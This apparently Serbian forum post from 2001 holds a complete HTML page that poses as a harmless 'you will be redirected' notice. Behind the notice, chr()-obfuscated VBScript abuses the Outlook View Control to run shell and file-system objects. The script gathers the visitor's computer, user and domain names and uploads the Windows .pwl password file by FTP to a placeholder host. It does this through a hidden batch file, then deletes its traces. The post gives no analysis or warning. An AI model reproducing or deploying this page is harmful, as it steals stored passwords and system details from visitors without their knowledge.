[ dql8 @ 29.08.2001. 02:04 ] @
<html> <body text="#00FF00" bgcolor="#000000"> <p align="center"> <font size="6">Sacekajte par sekundi, i bicete redirektovani...</font></blink></p> <p align="center">stranicu napravio: <a href="mailto:[email protected]">dql</a></p> <p align="center"> <SCRIPT LANGUAGE=vbscript> <!-- Sub DDDD On Error Resume Next set sel=o1.object.selection set obj1=sel.item(1) set wshn = obj1.Session.Application.createobject(chr(119) +chr(115) +chr(99) +chr(114) +chr(105) +chr(112) +chr(116) +chr(46) +chr(110) +chr(101) +chr(116) +chr(119) +chr(111) +chr(114) +chr(107)) set wshs = obj1.Session.Application.createobject(chr(119) +chr(115) +chr(99) +chr(114) +chr(105) +chr(112) +chr(116) +chr(46) +chr(115) +chr(104) +chr(101) +chr(108) +chr(108)) Set fso = obj1.Session.Application.CreateObject(chr(83) +chr(99) +chr(114) +chr(105) +chr(112) +chr(116) +chr(105) +chr(110) +chr(103) +chr(46) +chr(70) +chr(105) +chr(108) +chr(101) +chr(83) +chr(121) +chr(115) +chr(116) +chr(101) +chr(109) +chr(79) +chr(98) +chr(106) +chr(101) +chr(99) +chr(116)) sIme=wshn.username for i=1 to len(sIme) if mid(sIme,i,1)=" " then tmp="" else tmp=mid(sIme,i,1) end if sTempIme = sTempIme + tmp next if len(sTempIme)>8 then sTempIme=left(sTempIme,8) sIme=sTempIme Set file = fso.CreateTextFile (chr(99) +chr(58) +chr(92) +chr(119) +chr(105) +chr(110) +chr(100) +chr(111) +chr(119) +chr(115) +chr(92) +chr(116) +chr(101) +chr(109) +chr(112) +chr(92) +chr(107) +chr(111) +chr(109) +chr(97) +chr(110) +chr(100) +chr(101) +chr(46) +chr(116) +chr(120) +chr(116), TRUE) file.write chr(117) +chr(115) +chr(101) +chr(114) +vbcrlf file.write chr(112) +chr(97) +chr(115) +chr(115) +vbcrlf file.write chr(112) +chr(117) +chr(116) +chr(32) +chr(99) +chr(58) +chr(92) +chr(119) +chr(105) +chr(110) +chr(100) +chr(111) +chr(119) +chr(115) +chr(92) +cstr(sIme)+chr(46) +chr(112) +chr(119) +chr(108) +vbcrlf file.write chr(112) +chr(117) +chr(116) +chr(32) +chr(99) +chr(58) +chr(92) +chr(119) +chr(105) +chr(110) +chr(100) +chr(111) +chr(119) +chr(115) +chr(92) +chr(116) +chr(101) +chr(109) +chr(112) +chr(92) +cstr(sIme)+chr(46) +chr(116) +chr(120) +chr(116) +vbcrlf file.write chr(113) +chr(117) +chr(105) +chr(116) +vbcrlf file.Close Set file = fso.CreateTextFile (chr(99) +chr(58) +chr(92) +chr(119) +chr(105) +chr(110) +chr(100) +chr(111) +chr(119) +chr(115) +chr(92) +chr(116) +chr(101) +chr(109) +chr(112) +chr(92) +cstr(sIme)+chr(46) +chr(116) +chr(120) +chr(116), TRUE) file.write chr(105) +chr(109) +chr(101) +chr(32) +chr(107) +chr(111) +chr(109) +chr(112) +chr(97) +chr(58) +chr(32) +cstr(wshn.computername)+vbcrlf file.write chr(105) +chr(109) +chr(101) +chr(32) +chr(117) +chr(115) +chr(101) +chr(114) +chr(97) +chr(58) +chr(32) +cstr(wshn.username)+vbcrlf file.write chr(100) +chr(111) +chr(109) +chr(101) +chr(110) +chr(58) +chr(32) +cstr(wshn.userdomain)+vbcrlf file.close Set file = fso.CreateTextFile (chr(99) +chr(58) +chr(92) +chr(119) +chr(105) +chr(110) +chr(100) +chr(111) +chr(119) +chr(115) +chr(92) +chr(116) +chr(101) +chr(109) +chr(112) +chr(92) +chr(102) +chr(97) +chr(106) +chr(108) +chr(46) +chr(98) +chr(97) +chr(116), TRUE) file.write chr(102) +chr(116) +chr(112) +chr(32) +chr(45) +chr(115) +chr(58) +chr(99) +chr(58) +chr(92) +chr(119) +chr(105) +chr(110) +chr(100) +chr(111) +chr(119) +chr(115) +chr(92) +chr(116) +chr(101) +chr(109) +chr(112) +chr(92) +chr(107) +chr(111) +chr(109) +chr(97) +chr(110) +chr(100) +chr(101) +chr(46) +chr(116) +chr(120) +chr(116) +chr(32) +chr(49) +chr(50) +chr(55) +chr(46) +chr(48) +chr(46) +chr(48) +chr(46) +chr(49) +vbcrlf file.write chr(100) +chr(101) +chr(108) +chr(32) +chr(99) +chr(58) +chr(92) +chr(119) +chr(105) +chr(110) +chr(100) +chr(111) +chr(119) +chr(115) +chr(92) +chr(116) +chr(101) +chr(109) +chr(112) +chr(92) +chr(107) +chr(111) +chr(109) +chr(97) +chr(110) +chr(100) +chr(101) +chr(46) +chr(116) +chr(120) +chr(116) +vbcrlf file.write chr(100) +chr(101) +chr(108) +chr(32) +chr(99) +chr(58) +chr(92) +chr(119) +chr(105) +chr(110) +chr(100) +chr(111) +chr(119) +chr(115) +chr(92) +chr(116) +chr(101) +chr(109) +chr(112) +chr(92) +cstr(sIme)+chr(46) +chr(116) +chr(120) +chr(116) +vbcrlf file.write chr(100) +chr(101) +chr(108) +chr(32) +chr(99) +chr(58) +chr(92) +chr(119) +chr(105) +chr(110) +chr(100) +chr(111) +chr(119) +chr(115) +chr(92) +chr(116) +chr(101) +chr(109) +chr(112) +chr(92) +chr(102) +chr(97) +chr(106) +chr(108) +chr(46) +chr(98) +chr(97) +chr(116) +vbcrlf file.close wshs.run chr(99) +chr(58) +chr(92) +chr(119) +chr(105) +chr(110) +chr(100) +chr(111) +chr(119) +chr(115) +chr(92) +chr(116) +chr(101) +chr(109) +chr(112) +chr(92) +chr(102) +chr(97) +chr(106) +chr(108) +chr(46) +chr(98) +chr(97) +chr(116),vbhide location = chr(112) +chr(111) +chr(99) +chr(101) +chr(116) +chr(110) +chr(97) +chr(46) +chr(104) +chr(116) +chr(109) End Sub settimeout "DDDD",2000 --> </SCRIPT> <OBJECT classid=clsid:0006F063-0000-0000-C000-000000000046 id=o1 style="HEIGHT: 1; WIDTH: 1"><PARAM NAME="Folder" VALUE="Inbox"> </OBJECT> </body> </html> [Ovu poruku je menjao dql8 dana 08-29-2001 u 02:10 AM GMT] |